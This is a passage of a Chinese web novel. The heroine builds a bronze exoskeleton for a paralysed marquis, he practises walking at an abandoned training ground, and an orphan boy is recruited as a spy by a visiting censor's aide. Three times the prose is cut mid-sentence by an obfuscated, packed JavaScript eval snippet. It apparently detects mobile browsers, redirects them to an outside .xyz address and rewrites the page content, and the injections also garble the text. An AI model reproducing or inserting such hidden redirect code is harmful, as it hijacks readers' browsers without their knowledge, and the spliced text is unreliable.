他肉麻的声音腻得姜晚皱了下眉，起了身鸡皮疙瘩，这番乖顺的模样，倒与刚开始恨不得咬掉她一块肉的狼崽子判若两人。 姜晚揶揄道：“怎么着，这会儿不说我是毒妇了？” “哪能啊！”阿勒坦拔高了声音，十分夸张地奉承着，“之前是我有眼不识泰山，姐姐明明是整个北境心肠最好的人……用你们中原话怎么说来着？哦对，活菩萨！” 倒是会见人说人话，见鬼说鬼话，拍马屁的本事不小。 他以为姜晚吃软不吃硬，岂料姜晚软硬都不吃。 姜晚翻个了白眼，懒得与他继续周旋，干脆直接打断他的念想，淡淡地道：“我不管军中事务，没权限放你。” 说着，姜晚见这里没找到想要的东西，转身换了个地方。 “怎么会？” 阿勒坦跟上来，不死心地念叨着。 “我看他们都听你的，就连那个动不动就拔刀的疯女人也对你言听计从。我就是一个不起眼的小俘虏，你就算是放了我，他们也不会注意。” 姜晚没有理会他，来到一处石壁前停下来，拿起手中镐子继续敲击。 阿勒坦见软磨硬泡没用，话锋一转，干脆采用利诱的手段：“你要是放我回去，我帮你们监视阿木尔的动静怎么样？” 果然，听到这句话，姜晚停下动作，抬眼静静地看向他。 阿勒坦见姜晚态度有所转变，以为这个条件戳中了姜晚的心思，趁热打铁继续道：“阿木尔这个人野心勃勃，他之前功败垂成，现在难保对北境没有坏心思。你放我回去，我帮你们探听他的虚实，岂不是两全其美？” 这个名字让姜晚不经意间冷笑了一声，她反问道：“这人不是你们打算拥立的新乌尔汗吗？你会这么好心，轻易就把他出卖了？” 阿勒坦对此嗤之以鼻，往地上“呸”了一声，对姜晚所言并不赞同：“他这个人狂妄自大，目中无人，谁想让这家伙当乌尔汗。” “我说真的，”他往前凑近半步，“阿木尔现在还在念叨当年没打进北境的事，说不定早就偷偷厉兵秣马了，只要你放……” 叮——！ 回应他的，是一声重重的金石相击之声，清脆又刺耳，在此间回荡，余音绕梁。 不知哪个词触怒了姜晚，她忽然高举起手中的矿镐，狠狠砸向石壁，碎石飞溅间，惊得阿勒坦眼皮一跳，下意识后退半步。 30.复健 “闭嘴，”姜晚头也不抬，声音冷成一把可以把他撕碎钢刀，“再多说一个字，我就差人把你重新送回李将军那里。” 阿勒坦：？？？ 这又是谁惹她了啊？！ 这句威胁果然奏效，提到李绍英，阿勒坦忍不住摸了摸还在隐隐发疼的鞭痕，立刻噤若寒蝉。 镐头紧紧嵌在碎石中，姜晚用尽全力才将它拔起，石屑溅起时，一抹翠绿在乱石缝隙中冒出来。 见状，方才脸上的冷厉之色瞬间一扫而尽，姜晚眼底浮起亮光：“找到了。” 阿勒坦被她骤然转变的声音吸引，他探头去看，才发现是翠绿的孔雀石。 在矿场中当苦力这么久，他对这些石头疙瘩也有了些了解，不禁好奇道：“现在都用铁了，你费劲找这老古董干什么？” 姜晚没有接话，转身离开。 “诶诶诶！”阿勒坦急忙叫住她，“刚才那条件，你真不再考虑考虑？” 姜晚停下脚步，缓缓回头看向阿勒坦，清亮的眸子再起凝起寒意：“他若是真有胆，那便来战，我们随时奉陪，不需你在此多嘴。” 阿勒坦被她的眼神慑住，绿色的眼睛微微睁大，没想到看起来温和的姜晚，居然还藏着如此锐利的锋芒。 临走时，她最后瞥了眼这个胡人俘虏：“你最好在这里好好待着，趁早断了出去的念想。若是被军中的人发现，你可就没之前那般幸运了。” 回去后，姜晚立刻着手改进。用开采的孔雀石炼出青铜，再加上一定比例的锡和铅，反复折叠锻打去杂质，便可炼出坚韧的复合金属。 为减轻重量，她又令人在上面做了镂空云纹。 最终，以青铜合金为主体、乌兹钢为铰链、浸蜡的藤皮为内衬，又辅以墨家机关来驱动，一具“钢筋铁骨”，便循着改进后的新图纸诞生了。 之后，这副青金色的器具便经由姜晚之手，送到萧砚面前。 姜晚告诉他，这叫外骨骼助行器，很奇怪的名字。 许是唯恐再出现那日尴尬的局面，萧砚没有立刻尝试，姜晚笑着应下，答应改日再来陪他和这副助行器磨合。 今日便是她来的日子，可萧砚不想让她再看到自己狼狈的样子，便决意自己先试一试。 穿戴之法姜晚已经细细讲过，过程并不复杂，他一个人就可以完成。 准备好后，他扶着桌沿，从轮椅上缓缓站起身来，青金色的骨架稳稳撑住身体，没有让人感到半分异样的牵扯感，这幅器具也没有出现断裂的意外。 当站在地上时，奇异的触感顺着脚底传来，踩在实地上的感觉既熟悉又陌生，还很令人心安，仿佛被狂风卷起的，在空中飘荡多时的落叶，终于穿过云层，落回久违的泥土上。 他试着小幅度挪了挪脚，筋骨关节很久没有活动过，虽是极其轻微的动作，也骤然牵扯到僵硬的肌肉，蚀骨钻心的痛楚瞬间沿着腿上筋络钻进心里。 刺痛细密又绵缠，像是有无数根细针扎进皮肉。 扶着桌沿的手因刺痛而攥紧，指节发白，掌心渗出细汗。 他深吸一口气，忍着痛试图挪动右腿。 这副融合墨家机关的助行器着实精妙，藏在关节处的机括小巧隐秘，铜丝纤细如发，却可以带动精密的齿轮。只需要腿部微微发力，内里机关便可顺着动作自然驱动，全无僵硬滞涩之感。 右脚落地后，他又依照方才的力道迈出左腿。 双脚从容地踏在地板上。 身上早已沉寂冰冷的血液，似乎被久违的动作唤醒，随着这一步的迈出，竟悄然奔涌起来，渐渐恢复了当年的热意。 他先是扶着桌子走了几步，又借着墙边立柱走了一段。仅仅是这几步，刺痛已经让他额上滚出汗珠，顺着下颌滑落。 他深喘了口气，决定不再借力，想试着独自走一走。 可一松开手，重心便全然落在毫无防备双腿上。骤然离开外物，身体长久以来形成的倚靠惯性还不适应，无法维持平衡，他身形一晃，踉跄了几步。 外面日光正好，风过处，枯枝摇晃，光影也随之摇晃。 姜晚如约而来，只是刚走进院内，便听到房内传来“砰”的一声闷响。 她心头一紧，立刻猜到里面发生了什么，快步走过去。 屋内的人听到她的脚步声。 不等她的手搭上门板，姜晚就听到萧砚的声音从里面传来： “别开门。” 姜晚的手悬在半空中。 残废之人复健时，或许都有不愿将窘迫示人的心理。想到这里，姜晚没有坚持，默默收起打算推门而入的手。 但她又担心再出什么意外，索性直接在门口坐着。 “好吧好吧，我就在外面等着，”姜晚倚着门板坐下，老旧的门轴发出“嘎吱”的声响，“你要是有需要，叫我就行了。” 姜晚轻易妥协，萧砚倒很意外。 从前姜晚似乎总有一股不依不饶的执拗，凡事都要追根究底，没想到这次竟然听从了他的话，真没进来。 他们离得很近，只隔了层薄薄的门板。姜晚轻浅的呼吸声从门缝中传来，让屋内凝重的气氛松快了许多。 方才身形不稳，萧砚摔在地上时，五脏六腑都震得发疼，腿上旧伤在活动后更是火燎一般灼痛。 没有借力点，他现在的身体尚未完全适应这副器具，想独自站起来，很难。 但他知道，以后若想重新像正常人一样行走，甚至骑马、杀敌，就必须独自熬过这些困苦。 姜晚在门外干坐着，顿感无聊，打算找找话题。 她道：“怎么样，这个助行器不错吧？” “嗯，很好。” 萧砚撑起手臂，将重心移到左腿上，试图屈膝。可膝骨多年未做这么大幅度的运动，这么一动，膝部瞬间传来钻心的刺痛。 门外的姜晚听到他的回答，满意地笑了一下，继续道：“如果能恢复如初，你最想去做什么？” 他似乎从来没想过这个问题。 里面沉默了好一会儿，终于传来沉闷的声音：“若真有那一日，我最想去沧澜关看一看。” “沧澜关？”这是姜晚第一次听到这个地名，“那里是什么地方？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148730|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我的家人死在那里。” 话音刚落，姜晚瞬间意识到不对，连忙低声道：“对不起，我不知道……” 屋内传来重物拖动的声音，其中混杂着气息不稳的喘息： “无妨，不必道歉。这些年，早就熬过来了。” 布料与地面摩擦的声音传来，似是在挪动中牵扯到伤口，门板后发出一声抑制不住的闷哼。 “真的？没有骗我？” “真的。” “那……可以告诉我他们的事吗？” “你要听？” 这次的声音比方才稳了很多。 “那……你想说吗？”姜晚试探道。 “你若是想听，我便说与你听。” 自那一战后，世人或敬或叹，却很少有人对他提及萧家将领的名字。对于战死沙场的亲人，他也会尽量克制自己的回忆。 每一次回想，都会使他重新置身于那个充满血腥气的寒冬，战鼓号角声四起，阴风在耳畔呼啸，鼻尖萦绕的除了血气还是血气。夜里铁马冰河闯入梦中时，指尖止不住地发寒发颤。 时间久了，连他自己也忘了亲人生前的模样，那些音容笑貌，渐渐地都被战场上最后的惨烈画面替代。 不过，不知为何，现在面对门外的姜晚，他竟生出几分倾诉的念头来。 他尝试着回忆道：“那年边关大雪，我和李老将军驻守陇州，他们都守在沧澜关。 “起初战事稍缓时，他们还时常来信，说沧澜关最高处的烽火台上可以看到日出，说那里的太阳升起时，能照亮北境千里河山。后来胡人攻势渐急，连信使都断了，信也就再也没收到过。” 屋内又传来木椅被撞得歪斜的声音，椅腿刮过地板，发出刺耳的“吱呀”声。 “……再后来，探子来报，胡人凿冰渡河，集中主力偷袭沧澜关。父亲他们带着不足三千的守军，在关隘整整守了十日，”他的声音忽然沉了下去，“第十日的夜里，城破了。” “余下残兵将胡人引入内城，母亲放了一把火……听说那一夜的火光，比沧澜关的日出还要亮。” 屋内传来轮椅转动的轻响，萧砚已经扶着轮椅坐稳了身形。随后，屋内便陷入短暂的沉寂。 姜晚心口一紧，不知该说些什么。这么多年过去，轻飘飘的安慰早已变得苍白无力。或许，现在的他根本不需要。 听到门板后的动静渐渐弱下来，知道他大概已经好了，姜晚才继续道：“我能进去了吗？” “可以。” 姜晚推门而入，看到萧砚重新坐回轮椅上，发丝微乱，沾了些许薄汗，衣襟和袖口上也起了不少褶皱。 这情形，她不用细究便知发生了什么。 姜晚的目光只在他身上停留了一瞬，接着扫了眼逼仄的房间，不动声色地说道：“虽然这助行器能帮你借力行走，但要是想行走如常，还是要多练习才行。 “这里空间太小了，怕是不好施展，换个宽敞点的地方如何？” 她语气很轻快，半句未提他方才的窘迫，好像这只是一个临时想起的提议。 31.练场 校场附近有个小训练场，平日里空无一人，而且空间宽敞，正好可以用来复健。 姜晚今日前来，一是想瞧一下新打造的器物效果如何外，二是打算将这个新发现的地方告诉萧砚。 萧砚自然应下。 当姜晚推着轮椅走出侯府时，日头已经不早了，街道上已经热闹起来。百姓该上工的上工，该支摊的支摊，小孩子们也在路上互相追逐嬉闹，带着脆如银铃的笑声奔向学堂。 “那个地方是我不久前才发现的，那时候我去工坊取材料，回来时顺道路过校场，无意间在东面发现了一个小训练场……”一位女商热切的招呼打断了姜晚的言语，她笑着应了声。 萧砚望着沿街的景致，目光掠过来来往往的行人，静静听着姜晚讲话。 这条路他从前很熟悉，萧索凄清，像是条看不到尽头的寂寥甬道，此时却人声鼎沸，处处透出鲜活的生机。 这般翻天覆地的变化，就连他也感到陌生。 “问了个老兵才知道，那里已经许久没人使用了。我进去瞧了瞧，里面很整洁，草皮很厚很软，就算摔倒了也不没什么大碍，正好适合你练习。” 听完姜晚的话，萧砚声音平静地接道：“嗯，那里确实已荒废多年。曾经我和李绍英、李绍荣，还有我兄长，常一起在那里训练。” 姜晚微怔。 怪不得现在无人使用呢。 从侯府去往训练场的途中，一路市井喧嚣，烟火气很浓。 他们遇到很多熟人，准确的说，大都是姜晚的熟人。她在北境的这些日子，虽说不上人人识得，却也早凭那些新奇的法子和利落的手段攒下名声，很多百姓虽没见过她，但也听过她的名字，记下了她常穿的朱红衣裙和明快的身影。 这一路上，不管是街道两旁的商贩，还是巡城的兵卒，甚至连刚进城的城郊村民，见到姜晚都要热络地招呼一声。可当看到轮椅上的身影时，这份热络又如关了闸的潮水，连喧闹都褪去三分。 倒不是因为畏惧忌惮，只是那位素来深居简出，仿如藏于云雾之后的渺远山峦，让人摸不清脾性，总觉得似乎不好相与。 正因如此，当众人瞧见姜晚推着萧砚出现时，脸上纷纷露出难掩的讶然。 在印象中，姜晚一直都风风火火，是独来独往的性子，像团燃得正旺的火。萧砚却沉静如渊，似幽谷中的冷泉。两人脾性格格不入，鲜少看到他们一同露面的样子。 可现在二人居然会一同出行。 实在前所未有。 脚步渐远，市井的喧闹逐渐抛在身后，两人终于来到僻静的训练场。 不巧的是，隔着围栏，远远地便能看到两个一大一小的身影。 姜晚很奇怪，这训练场往日明明空无一人，怎么他们刚到，里面竟有了人影？ “剑拿稳！脚下别发飘！” 一道凌厉女声传来，夹杂着隐隐约约的火气。 是李绍英的声音。 训练场中的李绍英褪去轻甲，罕见地换上一身常服。黑红配色的衣服衬得她身姿利落，发髻松松散散地挽着，将往日锐利的杀伐气柔化了大半，让姜晚险些认不出。 再看那被指点孩子，一身白色的练功服，小小的手中握着把短木剑，边缘还带着没打磨干净的毛刺，看样子是有人亲手雕刻的，只是雕刻的手艺很生疏。 都是熟人，那没事了。 但姜晚还是停下脚步，低头询问轮椅上的人：“真是巧了，是李将军在教小孩子练剑，咱们还进去吗？” “既来了，便进去吧。” 姜晚颔首，推着轮椅走进训练场中，李绍英指导的声音在耳畔越发清晰。 “背挺直了，手腕要沉，否则再好的招式，使出来也绵软无力……” 小孩子红扑扑的小脸滚下汗珠，不知是累的还是吓的。他在李绍英的指导下摆开架势，却依旧不得要领，动作松垮，脚步歪斜。 严厉的声音一时停住，似乎有千言万语堵在喉中，最终换成一声无可奈何的叹息。 “……我是这样教你的？” 听到身后传来轮椅碾地的异响，李绍英闻声回头，瞧见他们的身影时，眼中也闪过讶异，随即对那孩子道：“罢了，先歇会儿。” 孩子如蒙大赦，攥紧木剑的手松了松，顺着李绍英的目光好奇地看向两人。 李绍英走过去，抱拳一礼：“侯爷、夫人。” 姜晚认出了这孩子，是之前从玉门古道带回来的那个小家伙。 她不免好奇，道：“这孩子不是被送去慈幼局了吗？怎么会在这儿？” 提到此事，李绍英肃然的脸上多了几分无奈： “确实送进了慈幼局，可他性子野，关不住，不到三日便偷溜了出去。找回来后依旧不改，将慈幼局的人搅得鸡犬不宁。他又喜欢满城乱跑，嬷嬷们怕出事，就把他送了回来。” “有没有找过他的家人？” 李绍英摇了摇头：“查了许久，始终杳无音信。李绍荣看他孤苦无依，就把他接回了李家。” 孩子小心翼翼地凑过来几步，目光直勾勾地盯着轮椅。他伸出小手，似乎想轻轻触碰一下，可刚遇到萧砚望过来的视线，顿时像烫到一般缩回手，不敢再逾矩。 姜晚没注意到那边的小动作，继续问道：“可有名字？” “有，捡到他的那日恰好是十二，就叫他李十二好了。” 萧砚目光掠过正偷偷打量他们的李十二，开口：“我记得，你最不喜孩童喧闹。” “是，”李绍英如实回答，因不在公务时段，话语间也随意了些，“还不是李绍荣的主意，说我若同意留他在李家，以后我们三个之间，我就是大姐。” 她顿了顿：“所以，我同意了。” 姜晚闻言忍俊不禁：“他倒是能想出这办法，看来是着实喜欢小孩子了。” “什么喜欢，他就是烂好心，”李绍英毫不留情地揭短，一提到她这个兄长，饶是寡言少语如她，也忍不住滔滔不绝。 “小时候，有人送给家母一对玉翅鸟，他偏从外面捡了条受伤的小蛇回来。结果那蛇半夜钻到鸟笼子，把鸟给吞了。家母气得把蛇丢了出去，他倒好，又偷偷捡了回来。最后，不仅被蛇咬了一口，还挨了顿骂。” 姜晚听着有趣，却忽然想起自他们走进训练场起，都不曾看见李绍荣的影子。 明明是他提议将孩子带回来，此时教孩子训练的却是李绍英？ 她对李绍英说：“怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163780|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见李绍荣？” 李绍英解释道：“北境巡抚和京里的御史要来巡察，估摸着今日便到，他去前头安排接风的事了，待会儿便过来。” 姜晚：“巡察？还是京中来人？” 一听到“京中”二字，她便有些头疼。京里的水向来浑，牵扯上这些人，总觉得没什么好事。 “对，”李绍英不以为然道，“说什么要查验边军防务，我们日日巡边，遇到可疑之人便仔细盘查，防务素来严谨，哪有什么岔子可挑。” 说话间，十二不知何时从轮椅旁离开，凑到姜晚身边，紧紧攥住她的衣角，仰头眼巴巴地望着她。 瞧见这孩子对姜晚如此热络粘人，李绍英顺水推舟道：“我看这这孩子喜欢夫人，不如夫人……” 察觉到李绍英的意图，不等话音落地，姜晚立马退避三舍，往轮椅后侧了侧身，笑着委婉拒绝：“不了，我手上没劲，怕摔着孩子。” 这孩子身高已到她腰际，走路也稳当得很，哪里需要抱？ 李绍英本就是一句玩笑话，并未认真，自然也不在意这句蹩脚的借口。 她抬头看了眼天色，见日头升高了些，聊得也差不多了，和二人颔首示意后，便转头对十二扬声道：“走，十二，继续！” 十二脸上顿时垮下几分，不情不愿地松开姜晚的衣角，慢吞吞地拿起木剑，接着便被李绍英拎回原处重新扎起马步。 姜晚则推着萧砚来到训练场的深处，避开正在练剑的两人，确保不会被干扰。 这里有很多练功用的旧木桩，上面布满层层叠叠的刀痕剑印，深浅交错，并没有因为时光的流逝而消弭痕迹，从中仿佛能窥见几人曾经在此挥剑操练的日子。 木桩扎得很结实，非常适合做借力点。萧砚便借助木桩起身，先短暂站立适应了片刻，然后才开始缓慢挪动脚步。 短暂的不适感消失后，他便尝试松开手独自站立。可没了借力点，独自支撑总坚持不了太久。起初脚步还算稳，可稍不注意，便感觉膝下一软，整个人重重摔下去，双手按在草皮上才勉强稳住身形，狼狈地半跪在地。 最初他还很在意这份失态，被姜晚看在眼里时，心中总泛起不可言说的隐秘涩意。 可姜晚只是静静走上前，将手递到他面前，眸中平静无波，并无任何异样的同情，也无怜悯，就像看待的是一件稀松平常的事一样。 那双眼眸中的坦然，悄然将心中窘迫拂去。 他望着这只伸到眼前的手，顿了顿，终是搭了上去。 于是一次又一次地练习，一次又一次地站起，就算摔倒，也不再像最初那般介怀。 日头渐斜，训练得差不多了，萧砚便坐回轮椅歇脚。李绍英那边早已收了势，李绍荣却迟迟未到，十二身上的白衣早已被汗水浸透，小脸通红地拄着木剑喘气。 忽然，训练场外传来一阵马蹄声，由远及近，听着有几分熟悉。 李绍英侧耳听了几息，随即轻哼一声，似乎有些不满：“可算来了。” 她话音刚落，马蹄声已在围栏外停住。骏马打了个响鼻，随后便听见一道带着几分疲惫与不耐的声音传来： “唉，绍英，你是不知道，那些京里来人的可真难伺候……” 32.暗涌 李绍英右手虚握抵在唇边，轻咳一声，提醒他还有人在。 门栏虚掩着，在风的推弄下发出吱呀轻响。 训练场外，李绍荣翻身下马，玄色衣氅被风灌得鼓起，衣袂翻飞间带起甲胄碰撞的清脆声响，丝毫没听见那声好意的提醒。 他推开门栏三两步跨入训练场中，目光在里面扫视一圈，这才后知后觉地注意到远处的姜晚和萧砚，脸上闪过几分意外： “啊！你们怎么都在这儿？” 话音刚落，十二已经从李绍英身侧跑开，冲过去一把抱住他的腿，整个人像块年糕似的黏在上面。李绍荣也没挣脱，顺手揉了把十二的脑袋。 “那正好，我也不用再特意去侯府回话了。”他语气依旧轻松，丝毫没有因为姜晚二人在场而感到拘谨。 他们几人本就少时相识，又一同值守北境数载，比起同僚更像近友。公务时段自会恪守礼数，私底下的相处本就随意些，没什么顾忌。 起初姜晚刚到北境时，李绍荣还带着几分肃然，言行间尚且收敛持重。但经过几番相处后，他早已将姜晚也视作可以同甘共苦的知交，彼此间再无半分生分。 姜晚看到他眉宇间尚有未散的郁色，方才虽然在看到十二时松快了些，但眼底的疲惫与烦躁依旧没压下去，便问道： “怎么了，京里来的人很棘手吗？” “不是一般的棘手。” 一提到此事，他轻啧一声，脸上原有的几分温和神色瞬间沉了下来。 “那帮人跟大爷似的，不是嫌住处简陋，就是嫌炭火不够暖，挑剔得很，就差我亲自给他们端茶倒水了。” “还有御史台的官员，查完边务又盯上粮草。原本说只核查去岁的簿册明细，现在非要查历年陈年旧账，这会儿正围着曹主簿打转呢。” 他无奈地叹了口气，又稍觉庆幸，对众人说：“我也是得了这空闲，才能抽身过来，剩下的就交给老曹应付了。” 萧砚一直静听着，这时才开口道：“御史台的人素来严苛，曹主簿在军中多年，经手的账目向来熟稔细致，应付他们应当稳妥。” 李绍荣点了点头，话锋一转，转头对姜晚露出几分由衷的钦佩：“不过说起来，夫人您之前教的那些记账的法子可真是派上大用场了！军中管账目的弟兄按您教的表格重造了册，那帮人翻了半天也没找出错处。” 姜晚抿唇一笑：“不过是把账目做得更明晰些，能帮上忙就好。” “不过话说回来，新上任的御史中丞倒是个厉害的角色。” 提到此人，李绍荣突然沉了声。 “看着年纪轻轻的，手段却老辣得很，问的话句句刁钻，连我都被他问住好几回。” 李绍英道：“新官上任，总要拿出些章程来立威。他们查不出错处，自然会离开。” 说完她又瞥了眼李绍荣，不放心地追问道：“倒是你，被问住时，没有跟人起争执？” “哪能啊，我可不敢。那些御史一个个能说会道，若是被参一本‘怠慢京官’，到时候可有我好受的。”李绍荣回道。 “话虽如此，那位中丞虽问得紧，但也没故意找茬，不像北境巡抚手下的那几个人，刚进门就嫌军营中茶水粗劣、马味重。听了我都想把他们扔马厩里面住几天了。” 说完，李绍荣揉着眉心重重叹了口气：“真希望这帮祖宗赶紧查完赶紧走。” 十二似乎感受到他的烦躁，轻轻扯了扯他的衣摆，黑亮的眼睛中带着几分担忧。 李绍荣心头一软，蹲下身来，单膝点地，摸了摸他的头，问十二：“还是十二乖，今天和大姐练剑练得怎么样？” 十二支支吾吾的，还偷偷看了眼李绍英的脸色，见她没动气，才小声嘟囔道： “很、很好，就是……大姐说，还要多练。” 李绍荣被他模样逗笑，伸手拍了拍他的小肩膀：“好好练！以后长大了从军，守护边防的担子就交给你了。” 一旁的李绍英听了无奈扶额：“多大点的孩子，就给他说这些。” 姜晚也道：“这么大的志向，小孩子能听懂吗？” 李绍荣却一脸认真：“听不懂也没什么，提前给他立下这个志向嘛，我爹娘当年就是这样训我们的，你看现在不也成了？” 天色渐晚，日头又西沉几分。橙红色的霞光布满天际，万道绚丽光辉泼洒在草场上，枯黄草地再映上一层暖色。 “行了，我先告辞，”将牢骚吐出来，李绍荣感觉心头舒畅多了，“还得回去盯着那帮祖宗，免得老曹被他们问晕了头。” 说完，他起身抱拳辞别，走出训练场翻身上马，动作依旧洒脱，很快消失在小径尽头。 姜晚也与李绍英和十二告别回府，训练场重归寂静。 往后的日子里，北境并没有因为京中来人而掀起什么惊涛骇浪，大家各司其职，该巡防的巡防，该盘查的盘查，边关的日子和从前一样，一直在既定的铁律下运转着。 所有人都在等待这场风波静静过去。 只是十二依旧没改脾性，会趁着李绍英李绍荣忙于公务的间隙偷偷溜出来，有时会在侯府外围的高墙下徘徊，时不时探向院内。 不过侯府戒备森严，他每次都在守卫鹰隼般的注视下退缩回去。 十二每次偷溜出去不是为了漫无目的的疯跑玩闹，他最常去的是城中最高的一处钟楼，从那里能将附近方圆数里的景致一览无余。 这座钟楼早已废弃，年久失修，栏杆腐朽摇摇欲坠，早就被明令禁止入内。守楼的老卒驱赶了他好些次，可每次都能被他找到空子钻进去。 每次爬上楼顶，他便从怀里拿出半块玉佩，放在手心里攥紧，而后目不斜视地盯向南方。 除去钟楼，更多的时候，他会躲在角落里偷偷观察那些从京里来的官员随从，似乎在寻找什么人。 这个晚上，他照例翻出院墙，来到驿馆外的巷口，正巧撞上御史中丞带着几名下属从中走出。 清冷的银辉倾泻下来，洒在御史官袍上，将衣袍上的绣纹映照得熠熠生辉。 一位御史搓了搓冻僵的手，忍不住埋怨道：“言大人，到底还要查到什么时候？属下实在想念京城的暖炉了。” 最前面的人脚步未停，声音年轻清朗，却极具威严：“还差最后一项核查，若是没什么差错，过两日便可启程回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170195|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京。” “可为什么这次要查如此仔细？我们从前查边地案宗，素来……” 说道此处，他倏然噤声，在新上司面前提旧规，他还要不要命啦！ 不料，言大人并未在意他的失言，他抬眼看向暗夜中关隘远山的轮廓，淡然道：“北境是边防重镇，直通大晟腹地，半分差池都容不得，定要认真些。” 说话间，一个青衣御史忽然瞥见巷口处那个小小的身影，脚步顿了顿。 借着两侧灯笼的烛光，言大人注意这名御史的目光，转头看过去，问道：“怎么了？子墨？” 叫做子墨的御史连忙收回视线，拱手道：“言大人，属下想起有份文书落在了议事厅里，这就回去取。” 言大人颔首：“快去快回，莫要耽搁行程。” 那名御史回到驿馆，待众人走远后，便折返回巷口。 “小孩儿，你是在找我吗？” 说着，这人拿出半块玉佩，无论花纹还是缺口，都和十二的那半块正好契合。 这声音突如其来，像幽灵飘在身后忽然响起低语。十二一个激灵，猛然转身，正好看清对方手中悬挂着的半块玉佩，眼中的惊惧瞬间被急切替代，立刻扑上去抢夺。 子墨轻笑着将手举高，避开他的冲撞，将玉佩收起来。 十二见够不到，只好放弃，仰头追问道：“我姐姐还好吗。” “好的很。” 听到肯定的答复，十二眼中的急切消弭了些许。 两人一言一语中，十二逐渐道出他在北境街巷、军营外围，乃至李家的所见所闻。 明明是半大孩子，眼中的胆怯显而易见，可说起这些来却条理清晰得很，显然是用了心的。 子墨静静听着，未发一语，似乎为他没有探听到更深层的消息感到不满。 比如，侯府。 末了，子墨递给他一个细小的竹筒。 十二接过来，重量很轻，他并没急着打开，问道：“把这个东西放在你说的地方……就能放了我姐姐吗？” “这要看你能不能办成这件事了。” 十二语气担忧，想到对方让他做的事，双手便不由自主地发颤，险些拿不稳手上的东西：“里面是什么？会害了他吗？” 那声音竟然有些许安抚的意味：“不会，不用担心，只是会让他……暂时离开北境罢了。” 黑暗中突然传来巡夜士兵的脚步声，他身影一闪，迅速隐入黑暗。 “十二！” 一道紧张的呼喊伴着急促脚步声传来，烧得正旺的火把转瞬间照亮黢黑的巷道。李绍英快步走近，锐利的目光扫过巷尾。 “刚才有人吗？”她问。 十二摇摇头，将竹筒偷偷藏在身后：“没、没有。” 李绍英回头对身后护卫吩咐道：“去，把这条巷子仔细搜一遍。” 说罢，转头蹙眉对十二道：“下次再乱跑，就把你捆起来关在柴房里，回去！” 看到十二脸色惨白，站在原地失魂落魄的模样，以为是自己语气太凶戾，吓到了孩子。 她不自在地放轻了声音：“好了，天黑了，跟我回家吧。” 33.通敌 晨光熹微，为万物镀上一层淡淡的金色光晕。 姜晚起身梳洗完毕，用完早膳，正打算去寻萧砚，问他今日还去不去训练场。 自那日在训练场开始复健后，那个人迹罕至的地方，除了是十二的练剑之地，便成了他们两个常待的处所。经过一段时日的调养和训练，萧砚已能独自短距行走，只是平日大多时候仍倚靠轮椅行动。 他也不再那般避医，楚桎时常会来府中看诊，根据恢复情况开些药方以缓解痛楚，而后再观察观察恢复情况继续调理。 照此下去，若是再坚持一段时日，说不定就可以…… 思忖之间，她的系统竟然罕见的出现异动。 自打绑定这个奇怪的系统以来，它向来只会在指数提升时才会发来提示，平日里安静得像不存在一般，今日是怎么回事？ 姜晚疑惑地点开提示框。 打开的一瞬间，一个硕大的红色感叹号赫然映入眼帘，刺眼的红光不断闪烁，让人心悸。 【警告！民生幸福指数下降，原指数68，现指数59，请宿主迅速处理。】 59，恐怖的数字。 姜晚心头一紧。 工坊塌了？商路断了？胡人来了？ 无数猜测在她脑中飞速划过，脚下已不自觉地加快脚步，想去城中巡察一番。 可刚走到庭中，她的脚步蓦然顿住。 李绍英正站在廊下，眉头紧蹙，神色焦急。她对面那人是萧砚，两人似在交谈什么，气氛凝重。 姜晚不知发生了何事，只知李绍英那张一贯冷然沉肃的一张脸，此刻却像被寒霜摧折过的松枝，纵然竭力维持着几分镇定，眼底仍透出一丝掩藏不住的慌张。 能让素来泰山崩于前而面不改的李绍英露出这副神情，定然出了大事。 姜晚将系统的警告暂时抛在脑后，快步走上前问道：“出什么事了？” 听到她的声音，李绍英从交谈中回过神，刚要开口回应，便听到一声爆喝徒然传入耳中。 “岂有此理！” “李将军！没有传召您不能进去！” “别拦我，我今日非要讨个公道！” 姜晚几人在内廷，与外院相隔甚远，可那声音却如洪钟贯耳，仿佛就在耳畔炸响。纵然隔着重重院落，依旧能清楚听出声音里饱含的怒火，除此之外，还夹杂微微的悲怆。 一名三十余岁、身披战甲的将领不顾守卫阻拦，踏着沉重的步子，大步流星地闯入府中。行走间，身上甲胄碰撞发出声响。 边关的风刀霜剑在他脸上刻下岁月沧桑的痕迹，一双眼睛被怒火熏染得发红。 见到此人，李绍英紧绷的脸上又添几分惊愕，难以置信地道： “李叔？你怎么来了？” 